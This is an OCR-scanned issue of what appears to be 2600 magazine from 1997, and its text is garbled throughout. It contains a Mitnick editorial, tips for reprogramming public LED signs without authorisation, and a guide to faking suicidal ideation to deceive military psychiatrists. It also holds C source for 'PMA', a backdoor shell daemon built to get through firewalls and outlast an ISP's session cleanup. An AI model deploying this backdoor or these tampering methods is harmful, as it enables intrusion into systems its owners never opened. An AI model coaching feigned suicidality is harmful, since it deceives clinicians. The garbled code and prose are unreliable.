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he question we’re asked most often is
whether or not we’re making any progress
in the fight against ignorance and fear.
And it’s the question which we can never answer
the same way twice. There are days when we re-
ally seem to be getting somewhere and then there
are times when we wonder if we’re actually mov-
ing backwards.
Looking at the Kevin Mitnick case makes the
question really hard to answer. We’ve managed
to reach a whole lot of people and we know that
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the facts and unwillingness to do some real in-
vestigative work led to the more recent belief that
Dutch hackers had gotten into military computer
systems during the Gulf War and had offered se-
cret information to Saddam Hussein, informa-
tion that could have won the war for Iraq. There
was no evidence. There were no facts. Just a
crackpot with an authoritative air and the media’s
desire to get another sensationalist story. Done
enough times, this kind of garbage eventually

turns into reality and the inevitable reaction

our concerns are shared all
over the world. But, as in the
early days of the Bernie S.
nightmare, mere concern
doesn’t really amount to
much. In the end, only true
outrage gets results and, even
for us, that can take a while.
It’s now been over two

the time we asked for a sum-
mation of his “crimes” so we
would know just what this
was really all about. A lot has
happened since those early
days. At least four books
have been written about the
Mitnick chase and capture
and all of their authors have
cashed their checks and

X - -
years since Mitnick was
caught in North Carolina. At _ “

against the “crisis” is ac-
cepted as necessary. We all
know this yet somehow it
continues time and again.

If ever there has been a
human victim of this con-
stant disregard for the truth,
that victim is Kevin Mitnick.
While we've been reading
the books about him and get-
ting on with our lives, Mit-
nick’s life has been frozen
since February of 1995 -
much longer if you consider
the time he spent living the
life of a fugitive trying to
avoid his current fate. It
seems clear that Mitnick
knew how the authorities
would treat him which is why
he went on the run. After all,

moved on to other projects. But our initial ques-
tion has yet to be answered since Mitnick still
hasn’t gone to trial. How can this be allowed to
happen?

The sad truth is that once you're a prisoner,
anything can happen to you and not many in the
American public will care. The media will latch
onto whatever they’re fed and more often than
not will simply take the word of authority figures
without question. Examples? In March the gov-
emnment began its appeal to the Supreme Court
of last year’s striking down of the Communica-
tions Decency Act. Most of us know that the
CDA is blatantly unconstitutional and would sti-
fle free speech on the net. But the media, who
should value the concept of free speech, defines
this battle as “the fight against pornography on
the net” Ratings over content once again. And
we all suffer because of it. The same blindness to
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these are the same authorities who put him in
solitary confinement for eight months in 1989!
That torture came from the authorities’ fear of
Mitnick’s phone abilities. After this kind of
abuse, anyone who would simply turn them-
selves in after being declared a fugitive would
have to be crazy.

As for what he did to make them want to im-
prison him for so long, all we know is that it did-
n’t involve theft, personal profit, or damage to
any computer system. Everyone seems to agree
on this. Whatever it is they finally do come up
with, we doubt it can justify locking someone
away for as long as they already have, let alone
for as long as they seem to want to.

Recently Mitnick was again thrown into soli-
tary confinement for reasons that are still some-
what unclear. Wired Magazine said it was
because he had too many cans of tuna in his cell

Spring 1997

and proceeded to make light of the whole thing,
choosing to ignore the permanent trauma of Mif
nick’s 1989 experience in solitary. This absurdity
was most definitely not the reason. Mitnick was
considered a “threat” to the institution because
prison authorities somehow reached the conclu-
sion that he was going to modify a Walkman,
turn it into an FM transmitter, and then proceed
to bug the prison offices. (Nobody can explain
how Mitnick was supposed to gain access to
these offices being a prisoner and all.) These
facts come from the administrative detention or-
der, prison guards, and legal people who were
privy to the facts of the case. We realize pursuing
these facts was too difficult a task for the media
people whose real concerns are ratings points
and newsstand sales.

Many of Mitnick’s legal papers were taken
from his cell during his time in solitary and never
returned. Issues of 2600 and Phrack as well as
mail forwarded to Mitnick from his Internet mail
account simply disappeared. Much of this mater-
ial had information pertaining to other cases
which Mitnick was hoping to use in his defense.
Other returned items appear to have been read.

Prosecutor David Schindler has taken it upon
himself to keep Mitnick in prison for as long as
possible. Schindler wants Mitnick to sign a plea
agreement that would keep him imprisoned for
32 months before he’s even charged with any-
thing in California. Not exactly a good deal in
our opinion. Schindler has said that if Mitnick re-
fuses to go along with this, he will drag him
across the country to face charges in other juris-
dictions. That’s the beauty of being charged with
crimes over the Internet and the phone system -
you can be indicted in places you’ve never even
been to! In doing this, Schindler and the govern-
ment basically get to keep rolling the dice until

even those people seem to think that this has
gone on long enough. Even if Mitnick had com-
mitted some very real and recognizable crimes,
the time he’s spent suffering in prison is more
than sufficient punishment. But Mitnick has
never even been charged with any recognizable
crime and we doubt that he ever will be. If and
when this case ever gets to court, we’re sure
Schindler and his cronies will try to make it seem
as if Mitnick stole millions of dollars by copying
files and making a few phone calls. And the me-
dia, by not probing and asking questions, will
swallow the whole thing once more and the
American public will somehow believe that jus-
tice was served.

It doesn’t have to be this way. Those of us
who understand the technology involved in this
case are able to see when the truth is not being
told or when people are being misled. We can’t
let this go d

d any longer. ion is
the key to stopping this injustice and many of us
have the ability to make a real difference. But do
we have the guts to turn that ability into action?

We're working on many different ap-
proaches. We've started a mailing list that exists
for the sole purpose of discussing the Mitnick
case and what we can do to help. To join, send
email to majordomo@2600.com and in the first
line of the message, type “subscribe mitnick”. At
the Beyond Hope conference in August (by
which time we really hope Mitnick is free) we
will be having panels on this case and how to use
the power we have to make changes. We wel-
come skeptics as always.

In the meantime, we ask that you not forget
about Mitnick and the many others who are im-
prisoned unjustly for actions that are hard to con-
sider crimes. We wish we had the staff and
resources to adequately pursue all of them. By
fc g on this case, we hope to be able to

they find a judge place who will

Mitnick for however long they want. This kind of
tactic is often used on the most dangerous of
criminals to ensure that they wind up in prison
somehow. To see it used here is frightening and a
dangerous affront to the intent of our justice sys-
tem.

When this story first broke two years ago,
there were some people who thought Mitnick
was a criminal of some sort and that he should be
punished for whatever it was he did even though
nobody really knew what that was for sure. Now,
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spread whatever change we make to these and fu-
ture cases.

Kevin Mitnick can be written to at: Kevin
Mitnick 89950-012, PO. Box 1500, Los Angeles,
CA 90053-1500, or on the Internet at kmitnick@
2600.com. While he very much would like to send
replies, Mitnick has been advised by his attorney
not to respond personally since virtually any-
thing he says could be misinterpreted and used
against him by the authorities who monitor
everything he says.
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by BernieS

We've all seen them - those annoying, atten-
tion-getting LED signs with moving, flashing
messages. They’re in airports, train stations, bus
terminals, vending machines, retail establish-
ments, banks, and even government offices. Al-
most without exception, they’re in high-traffic
areas where lots of people are subjected to their
often not-so-interesting messages.

This article provides a brief, general
overview of most types of displays out there,
how they’re programmed, and how you can use
them to get your message out to the people. In no
way should this article be misconstrued as en-
couraging unauthorized programming of such
signs, for that would be in violation of State and
Federal laws and punishable by up to 10 years in
prison. No matter how harmless the method may
seem, expressing yourself in ways our govern-
ment doesn’t approve of can be hazardous to
your health. (Maybe all electronic hardware,
software, and books should have government
warning labels similar to cigarettes and alcohol.)
In any case, be forewarned.

Most LED signs out there are self- ined,

from the system. Small to medium-sized LED
signs are usually powered by an AC adapter, with
the voltage being filtered and regulated on the
sign’s main circuit board. Currently there appears
to be little or no st4ndardization between differ-
ent manufacturers of LED signs with regard to

memory mapping, CPU type, or data connectors.
Some models are fairly intelligent and allow

for multiple and scheduled and special
effects _:8 38:0: mn_d_::w. zooming, special
fonts, b pp and multiple colors

(using rapidly switched red and green diodes at
various duty cycles). Blue LED’s are still too ex-
pensive to use in volume, which is why you don’t
see any blue or true-color LED signs yet. When
blue LED’s become cheap, all primary color re-
quirements will be met and any color in the spec-
trum will be easily generated, like color
cathode-ray tubes in TV’s and computer monitors
do. Eventually, giant full-color LED video bill-
boards will be commonplace.

Alongside highways and on bridges, over-
passes, and toll booths are all popular locations

microprocessor-based units that are field-pro-
grammable by a variety of methods novn:n:._m
on the f: model, and fi

These methods include direct RS-232 connec-
tion, telephone modem, proprietary or PC key-
board connection, radio telemetry (via cellular
modem, packet radio, ARDIS or RAM radio data
networks, FM broadcast via SCA or RDS, or
Motorola paging data receiver), and wireless in-
frared keyboard programming. Older “dumb”
LED signs require constant connection to a pro-
prietary or PC-based data source which stores
messaging data in addition to controlling the
LED display. All use multiplexed Light-Emitting
Diode arrays, from tiny one-line units only a few
inches long to massive 16x40 foot models. The
total quantity of LED’s can number from a few
hundred to hundreds of th ds d ding on
the size of the array. The CPU’s are E:w:% 8-bit
microcontrollers and memory is usually low-
power static RAM backed up by battery to ensure
messaging data aren’t lost if power is removed
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for large d. ic text displays for informing au-
tomobile travelers of road and traffic conditions
and toll fares. These large displays are frequently
under bright sunlight and therefore employ ar-
rays of high-visibility incandescent bulbs or
electromechanical “flippers” (painted fluorescent
green and illuminated in “black light” enclo-
sures). “Portable” programmable road signs are
often mounted on wheels atop a small trailer
( plete with a li and a dedi-
cated PC or a proprietary controller or cellular
modem) and towed to road construction sites as
needed. Surprisingly, the metal cabinets contain-
ing the programming electronics are seldom (or
insecurely) locked.

Supermarket chains hang LED moving-mes-
sage displays in store aisles to announce specials
and promote products. These signs are usually
networked and fed a datastream received by a
Very Small Aperature Terminal (VSAT satellite
dish) on the roof. UPC barcode scanners at point-
of-sale terminals connected to the store’s
LAN/WAN allow real-time tracking of the signs’
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effectiveness. LED signs are often used on fac-
tory floors to display production run data to as-
sembly-line workers, or in call centers to indicate
call volume, ANI data, or other information to
telephone operators. Stock markets and broker-
age houses use LED moving-message signs to
monitor real-time stock and bond prices. These
units are usually hardwired via an RS-232 inter-
face to a computer receiving data from another
source. An advertising company called TDI has
even installed moving-message LED signs on the
ocaaa of certain NYNEX payphone booths in

seems to be Adaptive Micro Systems (Milwau-
kee, WI) because they have a large selection of
well-designed models, with most features one
might want - and at reasonable prices. The author
has seen AMS’s ALPHA series of signs in nu-
merous commercial and government applica-
tions. Their Beta-Brite model is extremely
popular with retail establishments and vending
machine companies because it’s small (but not
too small), versatile, and relatively cheap (about
$300). It has numerous features, including a
cE_?E infrared interface and an RS-232 port for

Mant which are ly pro-

loadi lex scripts directly from a

dard PC. In addi their infrared keyboard

grammed with new ads via a N la paging
data receiver mounted on top of the booth.

If you come across a programmable LED
sign (say, at a garage sale), but there’s no manual
or programming device with it, get the manufac-
turer’s name and model number off the unit Ea
contact them for an operations and p

controller (which looks like a mutant TV remote-
control) is well-designed and allows program-
ming of all their IR-capable models. It costs
about $70.

Anyone so inclined could write a computer
prog! to enable laptops with IRdA ports to

manual for that model. Often, you can get it free
if the company believes you're a previous cus-
tomer. Also, request a catalog of accessories for
that model; it will be helpful in determining

pecifically what additional hard you’ll need
to program and power it. There are so many sign
models, prog; ing interfaces,

and nonstandard data connectors out there that
it's not always immediately obvious how to go
‘about programming a sign without good docu-
mentation or social engineering one of the manu-
facturer’s technicians.

Of all the pr i hod: labl
one of the most convenient and intriguing is via
an infrared keyboard. The technology is similar
to TV remote controls: it’s a one-way low-speed
data link using an invisible light beam. Range is
limited to about 30 feet which of course is line-
of-sight. You can usually tell if an LED sign has
infrared programming capability by looking at it
carefully. One of the corners of the front of the
sign will have a small window with a red filter
over it, behind which is an IR phototransistor for
detecting the keyboard’s signal. The signal is de-
modulated and decoded on the main circuit

program infrared-capable signs, thus eliminating
the need to use a dedicated IR keyboard con-
troller and allowing rapid programming of entire
sequences via infrared. Laptop IRdA emitters are
fairly weak, but one of those TV remote-control
extenders should boost a laptop’s IR signal to at
least 30 feet. Naturally, an infrared keyboard
controller would first have to be obtained and its
command sequences “learned” to write such an
application, but IRdA shareware utilities for
learning TV t trol units’ d se-
quences are readily available on the Internet.
The author has heard of several humorous
situations involving LED signs programmed by
unauthorized pranksters. In one case, a state-
owned lottery ticket vending machine with an
LED sign mounted on it was located in a drug-
store. It had apparently been reprogrammed from
the street through the drugstore’s window using
an infrared keypad to say, “This machine sells
only losing tickets - don’t waste your money on
another government scam!” When this was
called to the store manager’s attention, he pan-
icked and began wildly pushing all the lottery
vending machine’s buttons in a futile effort to

board and sent on to its CPU for p
From the manufacturer’s name on the sign (usu-
ally on the front bezel) you can determine the
type of infrared keyboard necessary to program

delete the - lly unplugging the
entire machine (preventing it from vending lot-
tery tickets altogether).

In another case, an LED sign on a prepaid

h

it. Fortunately, these keyboards are not expe:
The most popular manufacturer of LED signs
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d vending hine in a major metro-
vo.:m: train station had been reprogrammed to
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say, “These phonecards are a total rip-off at 50
cents a minute!” The machine didn’t indicate the
true cost of the cards; a call to the vending com-
pany confirmed they were indeed 50 cents a
minute, so some hacker provided a valuable con-
sumer advisory service.

Someone reprogrammed the LED sign in the
main window of a major metropolitan bank
(which had been hawking high-interest loans) to
say the bank was offering a special one-day sale
on ncw hundred-dollar bills for only fifty dollars
each (one per customer). There were some rather
excited people lining up until the chagrined bank
manger finally unplugged the sign and had to ex-
plain to eager customers that the bank wasn’t so
generous after all.

An observant 2600 reader wrote in to the let-
ters column to say he'd noticed a large LED sign
above the escalators in New York’s 53rd & Lex-
ington subway station (by Citicorp Center where
monthly 2600 hacker gatherings are held) had
been reprogrammed to announce the times and
dates of hacker gatherings and to invite everyone
to take part. Previously, the sign merely advised
people to watch their step on the 1 Many

hclec vint

Note: AMS’s infrared-capable LED signs all
incorporate password protection to prevent
“unauthorized” programming. This feature must
be specifically enabled by the user, and most
users seem to forget to do this. If you forget your

tens of thousands of people a day got to read that
sign - that’s real power. There must be tens of
thousands more LED signs out there just begging
to be programmed with more interesting mes-
sages. Do any come to mind?
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p d, there is an d master de-
fault password. Telling you what it is would take
all the fun out of it, but it’s six characters long
and it appears on computer password screens

everywhere. Have fun! And be careful.
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by InVerse [MoS]

Recently, I've noticed a disturbing trend
as more and more members of the under-
ground turn to the military as an escape from
investigation and impending prosecution.

As an unfortunate follower of this fool-
ish trend, I speak from experience when I
say that the armed forces are not always the
most desirable alternative.

Luckily, I came across a technique that
will guarantee you a plane ticket home and
an honorable discharge. All it requires on
your part is a small amount of social engi-
neering and a very large amount of patience.

It’s surprising how prevalent social en-
gineering is in the military. Even before
you enlist, your recruiter is SEing you. (The
bastards go to a special school to learn the
skill that hacker/phreaks have mastered for
well over a decade.) In fact, basic training
itself is nothing but SE. Once you learn the
little mind games, you're home free.

Let me take a moment right now to state
that the method described here was devel-
oped at the Marine Corps Recruit Depot in
San Diego, California. Due to the sensitive
nature of the subjects dealt with, as well as
the generally uniform amount of bureau-
cratic bullshit that exists within the mili-
tary, [ believe that the techniques contained
forthwith will work within any branch of
the services. The details might change
slightly, but your own actions should need
little or no modification.

Let me give you a little bit of back-
ground information that led to the writing
of this text and then I'll go into the specific
details.

I had a teensy difference of opinion with
AT&T, so suffering from a lack of money
and excess of paranoia, I soon found myself
flying the friendly skies en route to MCRD.
Boot camp itself wasn’t so bad, but it didn’t
take me long to realize that this wasn’t how
I wanted to spend the next four years of my
life. I came up with this technique, called
Suicidal Ideations or SI, in hopes that it
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SocIAL ENGINEERING 45::“ Way
Our or Boor Camp

would buy me some time until I could think
of a better plan. Surprisingly, it worked so
well that before I could develop that better
plan, I was already on my way out the door.

Before I left, my drill instructor had a
little talk with me. He asked me where I
learned about SI. He seemed to think that
there was a conspiracy going around in-
volving Recruit Separation Platoon (RSP)
troops teaching the new recruits ways to get
out of boot camp. RSP is made up of all the
recruits that for some reason or another are
being sent home from basic training.

Well, needless to say, there was no such
conspiracy. But even while he was grilling
me about it, the seeds for this article were
already being planted in my mind. In fact,
the original version, which was posted on
alt.2600, was written while I was still on
the base.

All right... enough chitchat. I'll get to
the point now. Suicidal Ideations means
that you’ve thought about killing yourself
Not that you’ve attempted it, mind you.
That’ll get you in a whole mess of stuff you
don’t want to be involved with. SI means
you’ve thought about it and nothing more.

Now if you were to commit suicide
while in basic training, the military would
be in big trouble. Multimillion dollar law-
suits, federal investigations, etc. So as soon
as they find out a recruit is suicidal, they
want said recruit out of their hands as soon
as bureaucratically possible.

The tricky part is letting them know that
you are suicidal and doing it convincingly.
You could just walk up to your drill instruc-
tor and announce “I want to kill myself.”
I've seen people do it, and it works, but
there’s going to be an element of disbelief
and things go much smoother if you put
just a little bit of effort into it (i.e., use so-
cial engineering).

The best way to convince your drill in-
structors that you are truly suicidal is not by
telling them yourself, but by having other
recruits tell them for you. And to make it
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even more believable (and to protect your-
self from narcs), it’s even better to actually
convince said recruits that you want to kill
yourself as well.

Once you've managed to SE a couple of
recruits into believing you might attempt
suicide, they should go to the senior drill
instructor and tell them what’s going on. In
the Marines, at least, this subject was
specifically covered by our drill instructors.
Once the recruits have voiced their fears to
the senior DI, you will be called into his office.

He’ll tell you that some recruits have
told him that they were worried about you
and tell you what was said. He most likely
won’t mention names, so don’t slip and let
on that you know who it was. Just play it
cool and answer his questions. Don’t try to
act all freaked out like you might try some-
thing at any minute, because DIs are edgy
enough as it is. Simply say that you have
been having some bouts of depression and
that during these times, you've thought
about killing yourself.

The Senior DI will make you promise
not to do anything immediately and that
he’ll make sure everything is taken care of
ASAP. Most likely, depending on the time,
you’ll be immediately taken in for a mental
evaluation.

The mental evaluation will consist of
two parts. The first part is a couple of tests.
Nothing hard, just questions about your
life. Answer these questions honestly and
don’t make the situation any more compli-
cated by lying about things.

The second part of the evaluation will
be a private interview with a psychiatrist.
Most likely, toward the beginning of the in-
terview, you'll be given three words, such
as purple, river, and cat. At the end of the
interview, you’ll be asked to recall those
three words. Try your best to remember
them, because it will look better on your
evaluation.

The psychiatrist will mainly focus on your
childhood and your life immediately before
coming to the military. Tell him the truth. In
my case, I actually admitted to the prob-
lems with AT&T... things like that can help
them explain your current “mental state.”
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The most important part of the inter-
view is your body language. Don’t look the
doctor square in the eye. Keep looking
around the room and act restless. Answer
the questions quickly but try to keep an un-
decided stance. If he asks you if you could
continue training, say “I don’t know” or
“I’'m not sure.” Keep your voice low and
whatever you do, don’t allow any reaction
to anything the doctor might say. His pur-
pose is to prove that you are lying and noth-
ing else.

After 20 minutes or so, the interview
will appear to be over and the doctor will
say that he hasn’t seen anything wrong with
you and has no basis for recommending
your release from the service. This is the
crucial point in your escape.

First of all, do not get angry. Stay calm
at all times. Don’t give a definite answer to
anything. All questions should be answered
with “I don’t know.” If you can, it would
probably help your case to start crying. Not
a loud outburst, mind you, just a few tears
will do the job.

The psychiatrist will then ask a few
more questions and then tell you that he is
going to recommend your removal from ba-
sic training. Though the actual reason for
your dismissal may vary, the terms will def-
initely be honorable.

My military records show that I was re-
leased because I was physically unable to
continue training. If a prospective employer
were to look into my military records, that’s
all they would see. I could then lie and say
that I broke my leg or something to that effect.

Once you’ve passed the mental exam
(or failed depending on your perspective)
you’re home free, even though they won’t
actually admit it to you yet. The first thing
you’ll do is be placed into Routing. This
means that you’ll spend the night with re-
cruits who are about to graduate. These re-
cruits are supposed to help you keep your
spirits up and watch you so that you don’t
try to kill yourself.

Now comes the worst part. During the
day, you’ll spend hours in your particular
battalion’s routing platoon. What this is is a
room with nothing but beds (which you
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aren’t allowed to lie on) and Leatherneck
magazines. You and anyone else from your
battalion who is being sent home get to sit
in this room for as long as three days, de-
pending on how long the paperwork takes.

Your only reprieve during this time is if
you’re sent out on a work detail, which
could be anything from picking up trash to
cleaning toilets. Otherwise, you’ll most
likely invent about a million different
games that can be played with a paper foot-
ball or a paper wad.

When your paperwork is finally com-
plete, you'll be called to see an officer.
Most likely it will be the Executive Officer
and he’ll tell you that he thinks you’re fak-
ing it and that he’s going to send you back
to training. Once again, remain noncom-
mittal. Stick to the “I don’t knows” and
restless behavior.

Once the EO signs your paperwork,
you're officially on your way to the Recruit
Separation Platoon (RSP). RSP is a platoon
made entirely of recruits who are being sent
home for reasons ranging from SI to Fraud-
ulent Enlistment to Failure to Adapt. RSP
requires a lot of patience, but as long as you
keep your cool and remember that you’ll be
going home soon, you should be fine.

Once you're in RSP, things will start go-
ing a little bit easier. You'll still have to fol-
low most military protocols, but you won’t
have the pressure put on you that you did
during training. The DIs won’t yell at you
or try to play mind games with you. The
best thing you can do at this time is to go
with the flow and not cause any trouble.

While in RSP, you’ll be sent on work de-
tail after work detail. It’s probably best to
go on as many details as you can, because
otherwise you’ll just be sitting around the
barracks with nothing to do and this is usu-
ally when trouble can start.

You’ll most likely be stuck in RSP for
four to seven days, depending on how-many
times they lose your paperwork in the pile
of red tape it’s buried in. When your paper-
work is finally complete, you'll be called to
a meeting where you’ll fill out a card stat-
ing where you want to go and the nearest
airport to said place.
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In approximately two more days, you’ll
be given your plane ticket and a ride to the
airport. Something rather important to note
at this time is that for the next 48 hours, you
are still subject to the Uniform Code of
Military Justice, which means that if you
get arrested for anything during this time
period, you will be dragged back to San
Diego and held for Court Martial, no matter
what crime you committed or where.

Well, that should be sufficient informa-
tion to get you out of boot camp. You'd be
surprised at some of the lengths recruits go
to escape when this is all they have to do.

One guy I met in RSP actually walked
out of the front gate of MCRD and was gone
for three months before turning himself in.

On a final note, while I was in RSP, I
was put on a work detail in one of the main
office buildings on base. When the Major I
was working for found out that I was profi-
cient with computers, she asked me to try
and fix their printer network which had
crashed. 1 eventually figured out that they
had the printer plugged into the wrong port,
but to test things, I had to log on to their
network and the Major was stupid enough
to give me her account name and password.
Unfortunately, I've been unable to find a
way back into that system.

So if anyone happens to know a telnet
address to MCRD in San Diego or has hap-
pened to run across any strange military
systems while scanning that area, maybe we
can have even more fun with the military.




Schicol #rinting’

FIFTH EDITION WITH INDEX

A Programed Course in Grammar and Usage
JOSEPH C.BLUMENTHAL

- — - o — — . a

Most people would think it’s great that there’s an English book
with this title. But we think it’s great that they somehow man-
aged to spell “Programmed” wrong on the front cover.

Submitted by Click of Fairfield, CT
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PMA (Poor Man’s Access) is a Unix
based TCP/IP client/server application
written in C. It provides limited shell (csh)
access to multiple clients from the server’s
host. PMA is sort of a telnet without the lo-
gin program. PMA has been tested on the
following Unix platforms:

HP/UX 10.0.1
AIX 4.0
SunOS 4.1.3
Solaris 2.5
DG/UX 5.4.2

There are some very System Vish things
that PMA does. It is extremely unlikely that
it will work with all System V versions of
Unix. There is virtually no chance that it
will work with a “true” BSD Unix. PMA
has only been tested using GNU C. Other C
compilers may cause problems. PMA con-
sists of the following files:

The files printed on the following pages
are pma.c (client source), pmad.c (server
(daemon) source), and socklib.c (used by
both client and server).

History

Back in 1992 the company that I was
working for finally decided to get con-
nected to the Internet. A small work station
was situated between our network and the
ISP (Internet Service Provider) that we
were using. Software was installed to pre-
vent unauthorized access to our network
and this work station became known as The
Firewall. At this time I was fairly new to
Unix and was interested in learning how to
program TCP/IP sockets. I had done some

stamp via an established socket to the re-
questing client process. I modified the
server to write whatever it received to the
terminal instead of sending a date and
time stamp back to the client. And I wrote
a new client that reads a string from the
terminal and sends it to the server. Pretty
simple stuff, but that’s where one usually
starts.

For some reason I decided to test The
Firewall with my newly coded client/server
terminal echo programs. I had a Unix ac-
count on a machine outside of The Firewall.
1 ported the client program to this machine
and left the server running in the back-
ground on a Unix machine inside The Fire-
wall. I then ran the client and much to my
surprise it worked. Whatever I typed out-
side The Firewall was being displayed in-
side The Firewall. I was baffled. Attempts
to telnet and fip (from outside) to the Unix
machine inside The Firewall failed. Why
did my little programs work?

What I had discovered was that The
Firewall was only blocking connection at-
tempts to “known” ports, i.. port numbers
less than 1024. My server program was us-
ing port number 4321 which was the arbi-
trary port number that the original
date/time stamp server used. I hadn’t seen
any need to change it and didn’t know that
the port number would make any differ-
ence as long as it was not in use. The con-
clusion that I came to was that The Firewall
was dumb and very susceptible to “inside
jobs.”

Like most people, when faced with
learning something new (TCP/IP socket

TOPS-20/DECNET  progr i some
ten years prior and correctly assumed that
conceptually it was more or less the same,
just different syntax.

I started by studying a date and time
server that had been written by a co-
worker for one of our products. It was a
simple sequential (one request at a time)
program that provided a date and time
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some task of substance as opposed to just
reading books. I now had my task. Build a
client/server app that provides simple ac-
cess from outside The Firewall. Of course, I
quickly realized that all I needed to do was
put a copy of telnet on a free port number
greater than 1024 and the task was com-
plete. Which I did, and it worked. But this
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required root access (which I had). So I
amended the task. No root access could be
used. PMA was born.

Closing Remarks

Over the years I would work on PMA
one or two days a month. Sometimes
months would come and go and PMA
would get no attention. Eventually I bought
some books (/nternetworking with TCP/IP
by Douglas E. Comer and Unix Network
Programming by W. Richard Stevens)
which really shed a lot of light on what I
was trying to do. PMA is basically hack
code. I didn’t pay any attention to effi-
ciency. Many things don’t work, like pine,
more, elm, etc. However, the editor we love
to hate, vi, does work. First and foremost
PMA was a vehicle to learn Unix network
programming. There are still many things
about that topic that I do not know and it re-
mains to be seen if PMA has outlived its
usefulness or not.

Recently I bought a shell account on a
major ISP and ported PMA to it. This ISP
does a pretty good job of preventing you
from being logged in more than once and in
cleaning up any background processes that
you may have had. However, if you start up
the PMA daemon and log out, the PMA
daemon lives on.

Of course, there are many firewalls that
prevent “inside jobs.” And I have no idea
just how many dumb firewalls are still in
use. But I'm sure that a firewall will never
be invented which cannot be rendered

dumb by someone.

Usage
You need a Unix client and server. (Of
course, it can be the same host.) You also
need a four digit (more than 1024) unused
port number, say 1776.
On the server:
$ gcc -o pmad pmad.c socklib.c
(You may get some warnings. If you get
undefined symbols try adding -lsocket and
-Insl to the gcc command.)
$ ./pmad 1776
(The pma daemon should now be run-
ning.)
On the client:
$§ gcc -o pma pma.c socklib.c
$ ./pma server.inside.com 1776
Trying...
Connected
PMA> HELO
ok
PMA> hostname
server
PMA> pwd
/tmp
PMA>
You should be able to issue any valid
csh command against the server and your
current directory is /tmp. Running pro-
grams that are not line oriented generally
do not work. There is however support for
vi. To exit from pma:
PMA> done
Don’t forget that pmad is still running.
Use “kill -9” to get rid of it.
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pma.c

this is the client of pma. basically all
it does is get a string from the terminal
and write it out to an established socket.
*/

#include <stdio.h>

#include <signal.h>

#include <sys/types.h>

#include <sgtty.h>

char buf(5000], tbuf(100];
int sockfd, vimode = 0;
struct sgttyb tty_mode;

main(int argc, char *argv(])
«

int cnt, port, pid, idx = 0;
FILE *lout;

if (argc < 3)
(
fprintf (stderr, *Specify host and port\n*);
exit(0);
)
signal (SIGCHLD, SIG_IGN);
/*dont create any zombies*/
ioctl(0, TIOCGETP, &tty_mode);
fprintf(stderr, "Trying...");
port = atoi(argv(2]);
I
see if there is a server on the user given
host and port
*/
sockfd = socket_connect (argv([1l], port);
if (sockfd == -1)
(
fprintf (stderr, *\nsocket_connect (pma)
failed\n
exit(1);
)
fprintf (stderr, *\nConnected\n®);
pid = forkio();
cnt = write(sockfd, buf, strlen(buf));
while (1)
{
if (tvimode)
(
gets (&buf [idx
idx = 0;
)

else
(
buf (0] = getchar
vimode = checkmode (
if (!vimode)

(

idx = 1;
continue;
)

buf(l] = '\0';

)
checkemd (pid) ;
cnt = write(sockfd, buf, strlen(buf));
)
}

int forkio()
(

./

if ((pid = fork()) < 0)
exit (system(*echo fork error in
forkio >>pma.log*));
else if (pid > 0)
return(pid);
while(1)
rdsock (

)

int rdsock()

/* if we see the prompt, "PMA> *, it means
that we could be coming out vi mode. so turn
on echo and turn off raw mode. note that our
parent will get to the getchar() before it
sees that echo is back on. this means that
the first character typed after exiting from
vi will not go to the gets() like we would
really want. that first character can be
flakey sometimes, but it basically works. */
(

int cnt;

cnt = read(sockfd, buf, sizeof(buf));

buflcnt] = ‘\0';

fprintf(stderr, *$s*, buf);

if (tstrcmp(&buf(strlen(buf)-5], *PMA> *))
echo() ;

)

int checkmode ()
(

struct sgttyb tty_mode;
int mode;

ioctl(0, TIOCGETP, &tty_mode);
if (tty_mode.sg_flags & ECHO)
mode = 0;
else
mode = 1;
return(mode) ;

)

int noecho()

(

/*system(*stty -echo;stty raw"
tty_mode.sg_flags ~ECHO;
tty_mode.sg_flags RAW;
ioctl(0, TIOCSETP, &tty_mode);
}

int echo()

¢

/*system(*stty echo;stty cooked*);*/
tty_mode.sg_flags |= ECHO;
tty_mode.sg_flags &= ~RAW;

ioctl(0, TIOCSETP, &tty_mode);

}

int checkemd(int pid)
(

if (!strcmp(buf, "done®))
exit(kill(pid,9));
(!vimode)

strcat (buf, "\n");

i

"

int pid; N

J* if (!strncmp(buf, *vi *,

fork off a child which endlessly reads from the (

socket and writes to the terminal. noecho () ;
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vimode = 1;

strcpy(tbuf, *vi -w2d*);
strcat (tbuf, &buf(2]);
strcpy (buf, tbuf);

)

I+
pmad.c

this is the server of pma. it basically
reads from an established socket,writes
what it gets to a shell in the background,
reads the output from the shell, and then
sends it back to the client via the
socket.

*/

#include <stdio.h>

#include <fentl.h>

#include <signal.h>

int in, cnt, pipin, sockfd, newsockfd,
passok = 0;

char buf(500]), passwd[50], iname(20],
oname [20];

FILE *log;

main(int argc, char *argv(])
(
int port, cpid;

/*daemonize. System V style*/

if ((cpid = fork()) < 0)
exit (system(*echo start up fork error
>>pma.log*))
else if (cpid > 0)
exit(0);
setpgrp();

chdir (*/tmp*);/*should always be able to
go here*/
signal (SIGCHLD, SIG_IGN);/*dont create
zombies*/
if (arge != 2)

exit (printf(*Specify port\n*)
port = atoilargv(l]);
sockfd = socket_declare(port);
/*say we are here at user given port*/
if (sockfd == -1)

exit (system(“echo socket_declare failed
>>pma.log*));
strcpy (passwd, "HELO\n"®);
/*cheesy password*/
while (1)

(

newsockfd = socket_accept (sockfd) ;
/*wait for connection*/

if (newsockfd == -1)

exit (system(*echo socket_accept

failed >>pma.log®));

if ((cpid = fork()) < 0)
fork off a child*/

exit(system(*echo fork error

>>pma.log*));
else if (cpid > 0)

/*got one,

)

int do_child()

{

/*we now have an established socket. read
from it and write to the shell*/

int opid;

close (sockfd) ;
opid = do_csh();
system(*date >>pma.log*);
while (1)

«

cnt = read(newsockfd, buf,
sizeof (buf));
if (cnt <= 0)

exit(kill(opid, 9));

buffent] = '\0';
logit (buf);*/
seewhat () ;
cnt = write(pipin, buf, strlen(buf));
)

)

int do_csh()

(

/e

first create some pipes. next fire up csh
in prompt mode (-i) doing its io from the
pipes. then fork off another child that
sets the prompt to *"PMA> * and then
endlessly reads from the shell and writes
to the socket.

./
char sbuf(100];
int pid;

pid = getpid();
sprintf (iname, *inpipe%d*, pid);
sprintf (oname, *outpipesd*, pid);
sprintf(sbuf, */etc/mknod %s p; /etc/mknod
%s p*, iname, oname);
system(sbuf) ;
pipin = open(iname, O_RDWR, 0);
sprintf(sbuf, *"csh -i <%s >%s 2>&1 &*,
iname, oname);
system(sbuf) ;
in = open(oname, O_RDONLY, 0);
if ((pid = fork()) < 0)
exit(system(*echo fork error in do_csh
>>pma.log*));
else if (pid > 0)
return(pid) ;
